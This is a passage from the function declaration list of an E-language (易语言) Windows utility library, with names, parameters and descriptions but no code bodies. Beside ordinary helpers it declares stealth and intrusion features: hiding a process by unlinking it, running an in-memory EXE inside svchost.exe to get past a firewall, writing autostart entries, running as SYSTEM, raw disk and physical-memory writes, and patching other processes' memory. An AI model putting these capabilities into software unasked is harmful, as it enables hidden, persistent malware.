.子程序 进程隐藏, 整数型, 公开, 通过断链方式隐藏进程(返回链表值,用于恢复该进程,失败返回-1) .参数 进程ID, 整数型, 可空, 目的进程ID (默认自进程ID) .参数 链表值, 整数型, 可空, 欲还原的进程链表地址值 如果隐藏进程请留空 .子程序 进程暂停, 逻辑型, 公开, 将指定进程暂停(成功返回真,失败返回假) .参数 进程ID, 整数型, , 欲被暂停进程的进程ID .参数 状态, 逻辑型, 可空, 可空为真:暂停进程 假:恢复进程 .子程序 禁止关闭系统, , 公开, 可以禁止计算机关机、重启、注销 ;注意在调试状态无效 .参数 窗口句柄, 整数型 .子程序 句柄是否有效, 逻辑型, 公开, 判断窗口句柄是否有效(返回真,无效返回假) .参数 窗口句柄, 整数型 .子程序 控件消息, , 公开, 向指定控件中投递消息,更多常量可参考windows消息大全 .参数 窗口句柄, 整数型 .参数 消息类型, 整数型, , #消息_复制 #消息_粘贴 #消息_全选 #消息_清空 #消息_删除 #消息_剪切 #消息_撤销 #消息_获得焦点 #消息_失去焦点 #消息_单击 #消息_右击 #消息_销毁 #消息_退出 #消息_结束 .子程序 路径收缩, 文本型, 公开, 将指定路径收缩(返回收缩后的路径,无效返回空文本)如: c:\program files\ 收缩后为:c:\progra~1\ .参数 路径, 文本型, , 欲收缩的路径 .子程序 枚举窗口, 整数型, 公开, 枚举所有窗口,返回窗口句柄数目,失败返回0 .参数 句柄数组, 整数型, 可空 数组, 返回的所有窗口句柄数组 .子程序 枚举窗口线程, 整数型, 公开, 枚举所有窗口线程标识符,返回窗口线程标识符数目,失败返回0 .参数 线程数组, 整数型, 可空 数组, 返回的所有窗口线程ID数组 .子程序 枚举窗口信息, 整数型, 公开, 枚举所有可见窗口的句柄的窗口信息(返回数组数目,失败返回0) .参数 临窗口信息, 窗口信息型, 数组, 枚举出来的窗口信息数组 .子程序 枚举任务窗口, 整数型, 公开, 枚举指定窗口线程相关联的窗体句柄,返回窗口句柄数目,失败返回0 .参数 窗口句柄, 整数型 .参数 句柄数组, 整数型, 可空 数组, 返回的所有窗口句柄数组 .子程序 枚举子窗口, 整数型, 公开, 枚举指定窗口的所有子级窗口或控件句柄,支持不可见子窗口或子控件,返回句柄数目,失败返回0 .参数 父窗口句柄, 整数型, 可空, 指定父窗口句柄.如果父窗口为0,则取出所有顶级窗口(含不可见窗口) .参数 句柄数组, 整数型, 可空 数组, 返回的所有窗口句柄数组 .子程序 模块_关闭所有媒体, 整数型, 公开, 关闭所有已经打开的媒体。注意:该操作对所有使用MCI进行播放的媒体都有效!返回0表示命令成功完成,返回非零表示命令失败。 .子程序 模块_毫秒到间, 文本型, 公开, 将毫秒值转换为诸如:"3:03:12"之类的文本格式 .参数 参_毫秒值, 整数型 .子程序 模块_取错误信息文本, 文本型, 公开, 根据各种命令执行后返回的数值查询相应的文本说明。 .参数 参_错误代码, 整数型, , 支持类中对多媒体操作的各种方法的整型返回值 .子程序 模块_取字节集位图句柄, 整数型, 公开, 仅支持24位色位图 .参数 参数_字节集位图, 字节集 .子程序 模块_设置父窗口, , 公开, 把易控件放入到自建控件内。注意:易中的标准控件可能变得不响应事件:如按扭、列表框、树形框 .参数 参数_易控件句柄, 整数型 .参数 参数_父窗口, 整数型, , 自建控件句柄 .子程序 模块_设置字体, , 公开, 给指定的窗口设置字体 .参数 参窗口句柄, 整数型 .参数 参字体名, 文本型 .参数 参字号大小, 整数型, 可空 .参数 加粗, 逻辑型, 可空 .参数 斜体, 逻辑型, 可空 .参数 下划线, 逻辑型, 可空 .参数 删除线, 逻辑型, 可空 .子程序 魔法字体, , 公开, 彩色动态字体[我自己的] .参数 内容, 文本型, , 欲加入的内容 .参数 对象句柄, 整数型, , 要加入控件句柄 .参数 随机渐变, 逻辑型, 可空, 真为随机渐变 ,假 不进行随机渐变 .参数 字体抖动, 逻辑型, 可空, 真为字体抖动 ,假 不进行字体抖动 .子程序 目录是否存在, 逻辑型, 公开, 判断指定目录是否存在(存在返回真,不存在返回假) .参数 目录名, 文本型, , 欲判断的目录 .子程序 内存搜索, 整数型, 公开, 进行首次内存搜索(返回结果数目,失败或没有返回0) .参数 进程ID, 整数型, , 进程ID .参数 搜索内容, 字节集, , 欲搜索的内容 其他类型-需自行转换为字节集类型 .参数 结果地址, 整数型, 数组, 用来保存搜索的结果 .子程序 内存搜索整数, 整数型, 公开, 针对上次的搜索进行对内存数值的变化进行再一次搜索(返回结果数目,失败或没有返回0) .参数 结果地址, 整数型, 数组, 用来保存搜索的结果 .参数 搜索的整数, 整数型, , 从上一次搜索结果地址中再次搜索的整数,也可以是模糊搜索 #内存_不变的数值 #内存_变大的数值 #内存_变小的数值 #内存_改变的数值 .子程序 内存优化, , 公开, 内存优化,其实就是将实际内存转移至虚拟内存,以减少内存占用,周期中使用 .子程序 内存再次搜索, 整数型, 公开, 针对上次的搜索进行再一次搜索(返回结果数目,失败或没有返回0) .参数 结果地址, 整数型, 数组, 用来保存搜索的结果 .参数 搜索的数据, 字节集, , 从上一次搜索结果地址中再次搜索的数据内容 .子程序 内存中运行EXE, 逻辑型, 公开, 可以直接运行资源中的程序,不必释放。成功返回真,失败返回假。 .参数 欲执行的程序, 字节集, , 欲执行的程序,不支持某些加了壳的程序,请自行测试。 .参数 命令行, 文本型, 可空, 为程序提供的命令行参数,不需要请留空。 .参数 外壳程序路径, 文本型, 可空, 外壳程序的路径(如果用系统程序做外壳,如cmd.exe、svchost.exe,可以实现穿防火墙,呵呵),不支持某些程序,请自行测试;不在当前目录下要提供绝对路径;留空默认为cmd.exe,如果无法运行,请换用不同的程序尝试。 .参数 等待程序运行完毕, 逻辑型, 可空, 默认为假,即不等待。 .参数 窗口显示方式, 整数型, 可空, 1#隐藏窗口; 2#普通激活; 3#最小化激活; 4#最大化激活; 5#普通不激活; 6#最小化不激活。如果省略本参数,默认为“普通激活”方式。 .参数 运行信息, 运行信息, 参考 可空, 用来接收在内存中执行的exe的运行信息(进程、主线程的句柄和ID)。不需要可留空。 .子程序 强力打开进程, 整数型, 公开 .参数 读取方式, 整数型 .参数 继承, 逻辑型 .参数 PID, 整数型, , 进程的进程标识符 .子程序 强力结束进程, 逻辑型, 公开 .参数 进程句柄, 整数型 .参数 退出状态, 整数型, , 退出0 .子程序 强力枚举窗口, 整数型, 公开, 强力穷举窗口句柄,不得以而为之.(成功返回有效窗口句柄的数目,失败返回0) .参数 窗口句柄, 整数型, 可空 数组, 用于存放窗口句柄的数组变量 .子程序 强力取句柄, 整数型, 公开, 强力穷举窗口句柄,不得以而为之.(成功返回窗口句柄,失败返回-1) .参数 窗口标题, 文本型, 可空, 可以是窗口标题的关键字.如果重复上次获取下一个窗口请留空. .子程序 取API错误信息, 文本型, 公开, 针对之前调用的api函数,用这个函数取得扩展错误信息 .子程序 取CPU序列号, 文本型, 公开, 获取CPU序列号 .子程序 取DOS返回, 文本型, 公开, 取出一个dos命令的返回信息 .参数 dos命令, 文本型, , 欲执行的dos命令 .参数 即回显, 子程序指针, 可空, DOS即回显信息回调函数 回调DOS函数(回显信息) 返回逻辑值,真:停止,假:继续 .子程序 取MAC地址, 文本型, 公开, 获取网卡MAC地址(如:00:53:45:00:00:00) .子程序 取System32目录, 文本型, 公开 .子程序 取本机IP, 整数型, 公开, 返回IP数 .参数 欲装载的数组, 文本型, 可空 数组, 取出来的IP .子程序 取标题, 文本型, 公开, 取指定窗口句柄的窗口标题(返回窗口标题,失败返回空文本) .参数 窗口句柄, 整数型, , 指定的窗口句柄 .子程序 取操作系统, 文本型, 公开, 获取操作系统信息 .参数 版本号, 文本型, 可空, 获取的操作系统的版本号 .参数 内部版本号, 文本型, 可空, 获取的操作系统的内部版本号 .子程序 取程序路径, 文本型, 公开, 取指定进程名的程序启动路径(成功返回路径,失败或进程不存在返回空) .参数 进程名, 文本型, , 程序进程名 .参数 区分大小写, 逻辑型, 可空, 默认不区分进程名大小写 .子程序 取程序命令行, 文本型, 公开, 取指定程序的命令行参数,要求取命令行程序权限不低于被取程序的权限(返回命令行参数,无命令行或失败返回空文本) .参数 进程名, 文本型, , 欲取命令行参数的进程名 .参数 区分大小写, 逻辑型, 可空, 默认不区分进程名大小写 .子程序 取窗口进程, 文本型, 公开, 取指定窗口句柄的窗口程序进程名(返回进程名,失败返回空文本) .参数 窗口句柄, 整数型 .子程序 取窗口进程ID, 整数型, 公开, 取指定窗口句柄的窗口进程ID(返回进程ID,失败返回-1) .参数 窗口句柄, 整数型 .子程序 取窗口内大小, , 公开, 取指定窗口句柄的窗口客户区的大小 .参数 窗口句柄, 整数型, 可空, 可空:则取当前窗口大小 .参数 临宽度, 整数型, 参考, 返回的窗口宽度 .参数 临高度, 整数型, 参考, 指定的窗口高度 .子程序 取窗口内顶点, 坐标型, 公开, 取指定窗口句柄的窗口客户区(左上角)顶点位置 .参数 窗口句柄, 整数型, 可空, 可空:则取当前窗口句柄的位置 .子程序 取窗口线程ID, 整数型, 公开, 取指定窗口句柄的窗口线程ID(返回进程ID,失败返回0) .参数 窗口句柄, 整数型 .子程序 取磁盘序列号, 整数型, 公开, 取得指定磁盘的序列号(成功返回磁盘的序列号,失败返回0,如果是读卡器或光驱或软驱等没有插入卡或光盘或软盘将会失败) .参数 盘符, 文本型, , 欲取序列号的磁盘盘符 (如: F:) .参数 卷标, 文本型, 参考 可空, 用于存放卷名(卷标)的变量 .参数 系统名称, 文本型, 参考 可空, 用于存放文件系统名称的变量 (如FAT,NTFS以及其他) .子程序 取当前窗口, 整数型, 公开, 取得当前位于前台窗口句柄(返回句柄,失败返回0) .子程序 取当前父窗口, 整数型, 公开, 取得当前位于前台的父级窗口句柄(返回句柄,失败返回0) .子程序 取点标题, 文本型, 公开, 取出指定点的组件上的文字内容或标题(返回文字内容) .参数 水平位置, 整数型, 可空, (可空为鼠标当前坐标x) 文字所在的x坐标“X轴光标” .参数 垂直位置, 整数型, 可空, (可空为鼠标当前坐标y) 文字所以的y坐标“Y轴光标” .子程序 取点颜色, 整数型, 公开, 取屏幕中或窗口区域某点颜色值或颜色属性 .参数 窗口句柄, 整数型, 可空, 默认为屏幕 .参数 X, 整数型 .参数 Y, 整数型 .参数 类型, 整数型, 可空, 默认为0颜色值 1 #R色 2 #G色 3 #B色 6 #色彩度 .子程序 取分辨率, , 公开, 获取屏幕分辨率(无返回值) .参数 色深, 短整数型, 参考 可空 .参数 屏幕宽度, 短整数型, 参考 可空 .参数 屏幕高度, 短整数型, 参考 可空 .参数 屏幕刷新率, 短整数型, 参考 可空 .子程序 取父进程ID, 整数型, 公开, 取得父级进程ID,失败返回-1 .参数 进程ID, 整数型 .子程序 取汉字笔画, 整数型, 公开, 返回指定单个汉字的笔画数,支持6725个常用汉字。 .参数 汉字, 文本型 .子程序 取计算机名, 文本型, 公开, 获取计算机名 .子程序 取焦点句柄, 整数型, 公开, 取光标焦点处窗口句柄(返回句柄,失败返回0) .子程序 取进程ID, 整数型, 公开, 取指定进程的进程ID(返回第一个进程ID,失败返回0) .参数 进程名, 文本型, , 区分大小写 .子程序 取进程窗口, 整数型, 公开, 通过进程ID取出指定进程的所有顶级窗口句柄(返回该进程中所有顶级窗口句柄的数目,失败返回0) .参数 进程ID, 整数型, , 窗口所在进程ID .参数 所有窗口, 整数型, 可空 数组, 返回该进程中所有顶级窗口句柄 .子程序 取进程窗口信息, 整数型, 公开, 获取指定进程的窗口信息(返回进程的主窗口句柄,失败返回0) .参数 进程ID, 整数型 .参数 焦点窗口, 整数型, 参考 可空, 在窗口非激活状态没有获得焦点,将得到0值 .参数 焦点横坐标, 整数型, 参考 可空, 在窗口非激活状态没有获得焦点,将得到0值 .参数 焦点纵坐标, 整数型, 参考 可空, 在窗口非激活状态没有获得焦点,将得到0值 .子程序 取进程路径, 文本型, 公开, 取指定进程的程序启动路径(成功返回路径,失败或进程不存在返回空) .参数 进程ID, 整数型 .子程序 取进程路径及命令行1, 文本型, 公开, 获取目标进程的映像路径及命令行参数。(失败返回空文本) .参数 进程ID, 整数型 .子程序 取进程路径及命令行2, 逻辑型, 公开, 获取目标进程的映像路径及命令行参数。成功返回真,失败返回假。 [斩月] .参数 lpstrImagePathAndCommandLine, 文本型, 参考, 用于保存目标进程的映像路径及命令行参数的文本型变量 .子程序 取进程名, 文本型, 公开, 通进进程ID取得该进程文件名 .参数 进程ID, 整数型 .子程序 取进程命令行, 文本型, 公开, 取指定进程的命令行参数,要求取命令行程序权限不低于被取程序的权限(返回命令行参数,无命令行或失败返回空文本) .参数 进程ID, 整数型 .子程序 取进程模块, 整数型, 公开, 失败为0,成功返回模块数量(该命令为高级成员命令) .参数 进程ID, 整数型, 可空, 为空 则取当前进程模块 .参数 模块信息数组, 模块信息型, 可空 数组, 返回的模块信息 数组 .子程序 取进程用户名, 文本型, 公开, 通进进程ID取得该进程权限的用户名 .参数 进程ID, 整数型 .子程序 取句柄1, 整数型, 公开, 通过进程,类名或标题关键字来取窗口句柄(返回第一个符合条件的句柄,失败返回-1) .参数 进程名, 文本型, 可空, 欲取窗口句柄的窗口程序进程名(注意大小写) .参数 类名, 文本型, 可空, 欲取窗口句柄的窗口类名 .参数 标题, 文本型, 可空, 欲取窗口句柄的窗口标题关键字,模糊匹配 .子程序 取句柄2, 整数型, 公开, 通过任务关系的所有窗口与类名标题关键字来判断获取句柄(返回第一个符合条件的句柄,失败返回-1)(至少指定两个条件,以确保准确性) .参数 进程名, 文本型, 可空, 欲取窗口句柄的窗口程序进程名(注意大小写) .参数 类名, 文本型, 可空, 欲取窗口句柄的窗口类名 .参数 标题, 文本型, 可空, 欲取窗口句柄的窗口标题关键字,模糊匹配 .子程序 取句柄数组1, 整数型, 公开, 通过进程,类名或标题关键字来取窗口句柄(返回符合条件的句柄数目,失败返回0) .参数 句柄数组, 整数型, 数组, 返回的窗口句柄数组 .参数 进程名, 文本型, 可空, 欲取窗口句柄的窗口程序进程名(注意大小写) .参数 类名, 文本型, 可空, 欲取窗口句柄的窗口类名 .参数 标题, 文本型, 可空, 欲取窗口句柄的窗口标题关键字 .子程序 取句柄数组2, 整数型, 公开, 通过任务关系的所有窗口与类名标题关键字来判断获取句柄(返回符合条件的句柄数目,失败返回0)(勿必指定多个条件,以确保准确性) .参数 句柄数组, 整数型, 数组, 返回的窗口句柄数组 .参数 进程名, 文本型, 可空, 欲取窗口句柄的窗口程序进程名(注意大小写) .参数 类名, 文本型, 可空, 欲取窗口句柄的窗口类名 .参数 标题, 文本型, 可空, 欲取窗口句柄的窗口标题关键字 .子程序 取快捷方式指向, 文本型, 公开, 获取指定快捷方式指向的文件路径 .参数 lnk名称, 文本型, , 快捷方式文件名全路径文件名 .子程序 取类名, 文本型, 公开, 取指定窗口句柄的窗口类名(返回窗口类名,失败返回空) .参数 窗口句柄, 整数型, , 指定的窗口句柄 .子程序 取浏览器版本, 文本型, 公开, 获得IE的版本(返回IE版本) .参数 内部版本号, 文本型, 可空, 获以的内部版本号 .子程序 取路径文件名, 文本型, 公开, 取指定路径中的文件名(返回文件名) .参数 路径, 文本型, , 完整路径 .子程序 取模块路径, 文本型, 公开, 取出当前进程模块所在目录路径,失败返回空 .参数 模块名, 文本型, 可空, 默认为执行文件名 模块名如:krnln.fne,kernel32.dll,User32.dll .子程序 取配置项名称, 整数型, 公开, 取配置文件指定节名中所有配置项名称(成功返回配置项名称数目,失败返回-1) .参数 配置文件名, 文本型, , 指定配置文件的名称,通常以.ini作为文件名后缀(可为任意后缀) .参数 节名称, 文本型, , 包含欲读入配置项所处节的名称。 .参数 配置项名称, 文本型, 参考 数组, 返回节名中所有配置项名称的文本数组 .子程序 取驱动器列表, 整数型, 公开, 返回驱动器数量 .参数 保存驱动器列表, 文本型, 可空 数组 .参数 类型, 整数型, 可空, 默认为0所有驱动器 1 硬盘驱动器 2 光盘驱动器 3 可移动驱动器 4 网络驱动器。 .子程序 取鼠标坐标, 坐标型, 公开, 取当前鼠标所在坐标(返回坐标) .参数 句柄, 整数型, 可空, 鼠标坐标所在的窗口句柄,取出鼠标所在窗口中的坐标 可空为:在屏幕中的坐标 .子程序 取特殊目录, 文本型, 公开, 取特定的目录(返回所要取的指定目录名 无效返回空) .参数 欲获取目录类型, 整数型, 可空, 0我的桌面 1临目录 5我的文档 6我的收藏夹 7我的启动 11我的开始菜单 20系统字体 36Windows安装目录 37系统目录 [99更多] .子程序 取文件创建间, 日期间型, 公开 .参数 文件名, 文本型 .子程序 取文件访问间, 日期间型, 公开 .参数 文件名, 文本型 .子程序 取文件夹尺寸, 双精度小数型, 公开, (成功返回文件夹尺寸,失败返回-1) .参数 文件夹路径, 文本型 .参数 子文件夹数量, 整数型, 参考 可空, 保存子文件夹数量 .参数 子文件数量, 整数型, 参考 可空, 保存子文件数量 .参数 是否处理事件, 逻辑型, 可空 .子程序 取文件修改间, 日期间型, 公开 .参数 文件名, 文本型 .子程序 取系统进程, 整数型, 公开, NT方式取得系统中所有进程,返回进程数 .参数 进程名数组, 文本型, 参考 数组, 存放进程名的数组变量 .子程序 取系统目录, 文本型, 公开 .子程序 取系统用户名, 文本型, 公开, 获取当前系统的用户名 .子程序 取线程窗口, 整数型, 公开, 通过窗口的线程标识符获取窗口句柄(成功返回窗口句柄,失败返回0) .参数 线程ID, 整数型, 可空, 如果线程ID为空,则取当前线程 .子程序 取硬件信息码, 文本型, 公开, 通过CPU硬盘等硬件综合信息,取得本机独特的硬件信息码(成功返回32位码,失败返回4位码)(内置多种复杂混合算法) .参数 密码, 文本型, , 输入相应的密码 .子程序 取运行目录_, 文本型, 公开, 取当前被执行的程序文件所处的目录,调试为执行文件所释放到的目录而不是易语言源代码目录! .子程序 取子窗口, 整数型, 公开, 查找指定窗口的子级窗口(返回子窗口句柄) .参数 父句柄, 整数型, 可空, 指定父窗口句柄 可空:为桌面.找顶级窗口 .参数 子类名, 文本型, 可空, 欲查找的子窗口类名 .参数 子标题, 文本型, 可空 .参数 起始句柄, 整数型, 可空, 从该句柄后开始查找, 可空:找第一个符合条件的 .子程序 取坐标句柄, 整数型, 公开, 取指定坐标位置所在窗口组件的句柄(返回句柄) .参数 水平位置, 整数型, , 句柄组件的x坐标“X轴光标” .参数 垂直位置, 整数型, , 句柄组件的y坐标“Y轴光标” .子程序 取坐标距离, 整数型, 公开, 返回两坐标点之间的距离 .参数 坐标1, 坐标型 .参数 坐标2, 坐标型 .子程序 十到八, 文本型, 公开, 将十进制转换成八进制(返回八进制文本) .参数 十进制数, 长整数型, , 欲转换的十进制数 .子程序 十到二, 文本型, 公开, 将十进制转换成二进制(返回二进制文本) .参数 十进制数, 整数型, , 欲转换的十进制 .子程序 十到十六, 文本型, 公开, 将十进制转换成十六进制(返回十六进制文本) .参数 十进制数, 长整数型, , 待转换的十进制数 .参数 是否不去零, 逻辑型, 可空, 默认为假:去0 真:不去0 .子程序 十六到十1, 整数型, 公开, 将十六进制转换成十进制(返回十进制文本) .参数 十六进制文本, 文本型, , 待转换的十六进制文本 .参数 返回结果, 文本型, 参考 可空, 返回文本结果(如十进制数超出整数范围,可通过返回结果获得十进制文本) .子程序 十六到十2, 整数型, 公开, 将十六进制转换成十进制(返回十进制文本) .参数 十六进制转换数据, 文本型 .子程序 十六文本至长整数, 长整数型, 公开, (进程隐藏) .参数 x, 文本型, , 要转换的十六进制文本 .子程序 鼠标捕获, 整数型, 公开, 将鼠标捕获设置到指定的窗口.在鼠标按钮按下的候,这个窗口会为当前应用程序或整个系统接收所有鼠标输入(返回之前拥有鼠标捕获的窗口的句柄) .参数 窗口句柄, 整数型, 可空, 要接收所有鼠标输入的窗口的句柄,如果留空则释放鼠标捕获 .子程序 鼠标归位, , 公开, 恢复当前鼠标坐标到"鼠标记录"的坐标点或移动鼠标到指定点 .参数 坐标, 坐标型, 可空, 可空:恢复到上次记录的坐标点 .子程序 鼠标记位, 坐标型, 公开, 记录当前鼠标坐标(返回所记录的当前鼠标 坐标_) .子程序 鼠标键, , 公开, 模拟鼠标按键 .参数 键, 整数型, 可空, 可空:为左键 1 #左键 2 #右键 3 #中键 .参数 控制, 整数型, 可空, 可空:为单击 1 #单击 2 #双击 3 #按下 4 #放开 .子程序 鼠标限制, , 公开, 限制鼠标的活动范围 .参数 临左边, 整数型, 可空, 可空为0 .参数 临顶边, 整数型, 可空, 可空为0 .参数 临右边, 整数型, 可空, 可空为屏幕宽度 .参数 临底边, 整数型, 可空, 可空为屏幕高度 .子程序 鼠标消息, , 公开, 向指定窗口发送鼠标动作消息 .参数 窗口句柄, 整数型, 可空, 可空:为桌面超级列表框句柄 接收鼠标消息窗口句柄 .参数 水平坐标, 整数型, 可空, 可空:为原水平坐标不变 移动目标鼠标水平坐标 (注:坐标为参数一窗口句柄中的坐标) .参数 垂直坐标, 整数型, 可空, 可空:为原垂直坐标不变 移动目标鼠标垂直坐标 .参数 键, 整数型, 可空, 可空:为左键_ 1 #左键_ 2 #右键_ 3 #中键_ 4 #中键上滚动_ 5 #中键下滚动_(滚动前后请按下放开中键) .参数 控制, 整数型, 可空, 可空:为单击_ 1 #单击_ 2 #双击_ 3 #按下_ 4 #放开_ .子程序 鼠标移动1, , 公开, 模拟鼠标移动(无返回值) .参数 窗口句柄, 整数型, 可空, 可空:相对桌面移动鼠标 句柄有效则相对窗口中坐标移动 .参数 水平坐标, 整数型, , 水平坐标 .参数 垂直坐标, 整数型, , 垂直坐标 .子程序 鼠标移动2, , 公开, SendInput模拟鼠标移动 目标坐标与实际坐标有一像素点误差属正常现象! .参数 窗口句柄, 整数型, 可空, 可空:相对桌面移动鼠标 句柄有效则相对窗口中坐标移动 .参数 水平坐标, 整数型 .参数 垂直坐标, 整数型 .子程序 提升进程权限, 逻辑型, 公开, 提升进程到指定权限( #备份 #启动 #关机 #调试) .参数 目标进程, 整数型, 可空, 为空表示当前线程 .参数 权限类别, 文本型, 可空, 为空:#调试 .子程序 提升进程权限D1, 逻辑型, 公开, 成功返回真,把一个进程的权限提升到调试级权限 .参数 进程ID, 整数型, 可空, 可空为提升当前进程 .子程序 提升进程权限D2, 逻辑型, 公开, 成功返回真,把一个进程的权限提升到调试级权限 .子程序 网页_禁止右键, , 公开 .参数 句柄, 整数型 .子程序 文本发送, , 公开, 向指定编辑框后台发送文本内容(无返回值) .参数 临句柄, 整数型, , 接收消息的编辑框的句柄 .参数 临内容, 文本型, , 发送的文本内容 .子程序 文本复制, 文本型, 公开, 复制指定文本 必要会自动激活窗口 .参数 句柄, 整数型, 可空, 文本所在处的窗口句柄 可空为当前窗口焦点处 .子程序 文本全选, , 公开, 选定指定文本 必要会自动激活窗口(无返回值) .参数 句柄, 整数型, 可空, 文本所在处的窗口句柄 可空为当前窗口焦点处 .参数 是否全选, 逻辑型, 可空, 可空为假:取消全选 真:全选 .子程序 文本输入, , 公开, 向指定窗口句柄中窗口中后台输入文本内容,并等待输入完毕后返回,对特殊屏蔽的游戏有效!(无返回值) .参数 句柄, 整数型, , 接收消息的窗口句柄 .参数 文本, 文本型, , 发送的文本内容 .参数 速, 字节型, 可空, 默认为3 如出现乱码现象,请将该值设大一点 .子程序 文本投递, , 公开, 向指定窗口句柄的窗口中后台发送文本内容,对游戏有效!(无返回值) .参数 窗口句柄, 整数型, , 接收消息的窗口句柄 .参数 文本内容, 文本型, , 发送的文本内容 .子程序 文本粘贴, , 公开, 粘贴指定文本 必要会自动激活窗口(无返回值) .参数 句柄, 整数型, 可空, 欲粘贴文本处的窗口句柄 可空为当前窗口焦点处 .参数 文本内容, 文本型, 可空, 欲粘贴的文本内容 可空:清除内容 .子程序 文件夹进度同步, , 公开, 将一个目录与另一个目录同步(自动复制本地缺少的文件,替换掉大小不同的文件) .参数 服务器目录, 文本型, , 参考目录 .参数 本地目录, 文本型, , 欲被同步的目录 .参数 显示标签, 标签, , 显示当前同步文件的标签 .参数 进度条, 进度条, , 显示同步进度的进度条 .子程序 文件夹浏览, 文本型, 公开, 浏览文件夹内支持创建文件夹 支持显示文件 编辑框 (返回被选择文件或文件夹路径) .参数 标题, 文本型, 可空, 设置标题 .参数 显示文件, 逻辑型, 可空, 默认为假。 .参数 初始目录, 文本型, 可空, 设置一个初始目录,默认为我的电脑 .参数 地址栏, 逻辑型, 可空, 是否包含编辑框,可编辑,默认为假 .参数 新样式, 逻辑型, 可空, 有新建按钮及右键菜单,默认为真 .子程序 文件夹双进度同步, , 公开, 将一个目录与另一个目录同步(自动复制本地缺少的文件,替换掉大小不同的文件) .参数 服务器目录, 文本型, , 参考目录 .参数 本地目录, 文本型, , 欲被同步的目录 .参数 总进度, 进度条, , 显示同步进度的进度条 .参数 单进度, 进度条 .参数 显示总进度, 标签 .参数 显示单进度, 标签 .参数 显示当前目录, 标签 .参数 显示当前文件, 标签 .参数 更新数, 标签, 可空 .子程序 文件夹停止同步, , 公开, 停止一些同步命令: "文件搜索","文件夹同步","文件夹进度同步","文件夹双进度同步","文件夹同步清理" .子程序 文件夹同步, , 公开, 将一个目录与另一个目录同步(自动将文件大小不同,多余的文件或目录删除,缺少的文件复制.) .参数 服务器目录, 文本型, , 参考目录 .参数 本地目录, 文本型, , 欲被同步的目录 .子程序 文件夹同步清理, , 公开, 将本地目录中多余的或不同的文件删除 .参数 服务器目录, 文本型, , 参考目录 .参数 本地目录, 文本型, , 欲清理的目录 .子程序 文件进度复制, 逻辑型, 公开 .参数 被复制的文件名, 文本型 .参数 复制到的文件名, 文本型 .参数 回调进度函数, 子程序指针, 可空, 回调函数(总尺寸,已复制,进度%) 回调函数的返回值可以为空,如果回调函数的返回值为真或不等0则停止复制 .子程序 文件搜索, 文本型, 公开, 在指定目录下搜索文件,返回第一个符合条件的文件路径 .参数 临目录, 文本型, , 欲寻找的目录 .参数 文件名, 文本型, , 欲寻找文件名 .参数 显示标签, 标签, , 用来显示搜索路径的标签 .子程序 系统变速, , 公开, NT,2000,XP系统原速 =11941; ME,98系统原速=5954; XP.SP2=1200 .参数 新速值, 整数型, , 值小加速,值大减速 .子程序 下载, 字节集, 公开, 读网络文件,并下载文件到本地(成功返回网络文件字节集数据,失败返回空字节集) .参数 网址, 文本型, , 欲访问的网络地址 .参数 保存路径, 文本型, 可空, 可空:仅返回字节集数据,将下载的内容保存到本地文件 .子程序 销毁定器, 整数型, 公开, 销毁已经创建的定器(定器不使用了一定要销毁!) .参数 窗口句柄, 整数型, 可空, 创建定指定的句柄 .参数 标志, 整数型, , 创建定所返回的标志 .子程序 销毁线程, 逻辑型, 公开, 强制结束指定线程,不推荐使用(无返回值) .参数 线程句柄, 整数型, , 欲结束的线程号 .子程序 写磁盘扇区, 逻辑型, 公开 .参数 扇区号, 整数型 .参数 扇区内容, 字节集 .子程序 写内存文本型, 逻辑型, 公开, 往内存中写入文本数据(成功返回真,失败返回假) .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 内容, 文本型, , 写入数据 .子程序 写内存整数型, 逻辑型, 公开, 往内存中写入四字节数据(成功返回真,失败返回假) .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 变量, 整数型, , 写入数据 .子程序 写内存字节集, 逻辑型, 公开, 往内存中写入字节集数据(成功返回真,失败返回假) .参数 进程ID, 整数型, , 进程ID .参数 地址, 整数型, , 内存地址 .参数 数据, 字节集, , 写入数据 如果为其它数据类型,可以用 到字节集() 将数据转换为字节集 .参数 写入长度, 整数型, 可空, 默认为全部数据,(参考: 1字节型 2短整数型 4长整数型,小数型,指针 8长整数型,双精度小数型,日期间型) .子程序 写启动项, 逻辑型, 公开, 写入系统启动项(成功返回真,失败返回假) .参数 启动文件, 文本型, 可空, 需要加入启动项的文件名 如果为空则删除启动项 .参数 启动方式, 整数型, 可空, 0 Run项启动 1 Load项启动 2 Shell项启动 .子程序 写物理内存, 整数型, 公开, 失败返回-1,成功返回0 (进程隐藏) .参数 地址, 长整数型 .参数 数据, 字节集, , <=4096 .子程序 信息框_, 整数型, 公开, 同"信息框"用法相同 .参数 提示信息, 文本型, 可空 .参数 按钮值, 整数型, 可空 .参数 窗口标题, 文本型, 可空 .参数 窗口句柄, 整数型, 可空, 信息框父窗口,默认为系统级 .参数 长, 整数型, 可空, 默认为0 不关闭 指定信息框在毫秒级间过后自动关闭 .子程序 以SYSTEM权限运行, 逻辑型, 公开, 在Administrator系统权限下以SYSTEM权限运行指定程序(成功返回真,失败返回假) .参数 文件名, 文本型, , 欲创建进程全路径文件名 .子程序 运行程序, , 公开, 通过对象来运行一个指定的应用程序 .参数 执行程序, 文本型, , 一个欲被执行的程序全路径名或执行程序名 .参数 启动参数, 文本型, 可空, 可以传递程序的启动参数,但要注意参数间隔符不能少 .参数 窗口显示, 整数型, 可空, 默认为激活窗口 0 隐藏窗口 1 激活窗口 7 最小化 3 最大化 .参数 等待返回, 逻辑型, 可空, 是否需要等持被运行的程序运行结束后 .子程序 执行文件, 逻辑型, 公开, 执行文件夹或文件或命令(成功返回真,失败返回假) .参数 欲操作文件名, 文本型, , 欲操作(文件)或(文件夹的名称)或(网址) .参数 命令行, 文本型, 可空, 执行文件的命令行,没有则设为空 .参数 窗口方式, 整数型, 可空, 可空为0:普通激活方式 1 隐藏窗口 2 最小化窗口 .子程序 置分辨率, , 公开, 设置屏幕分辨率(无返回值) .参数 色深, 短整数型, 可空, 新的色深 可空:不改变原先设定 .参数 屏幕宽度, 短整数型, 可空, 新的屏幕宽度 可空:不改变原先设定 .参数 屏幕高度, 短整数型, 可空, 新的屏幕高度 可空:不改变原先设定 .参数 屏幕刷新率, 短整数型, 可空, 新的屏幕刷新率 可空:不改变原先设定 .子程序 置计算机名, 逻辑型, 公开, 设置计算机名,一般要重新启动才生效(成功返回真,失败返回假) .参数 计算机名, 文本型, 参考, 新的计算机名称 .子程序 重启后删除文件, , 公开 .参数 文件名, 文本型, , 欲删除的文件名 .子程序 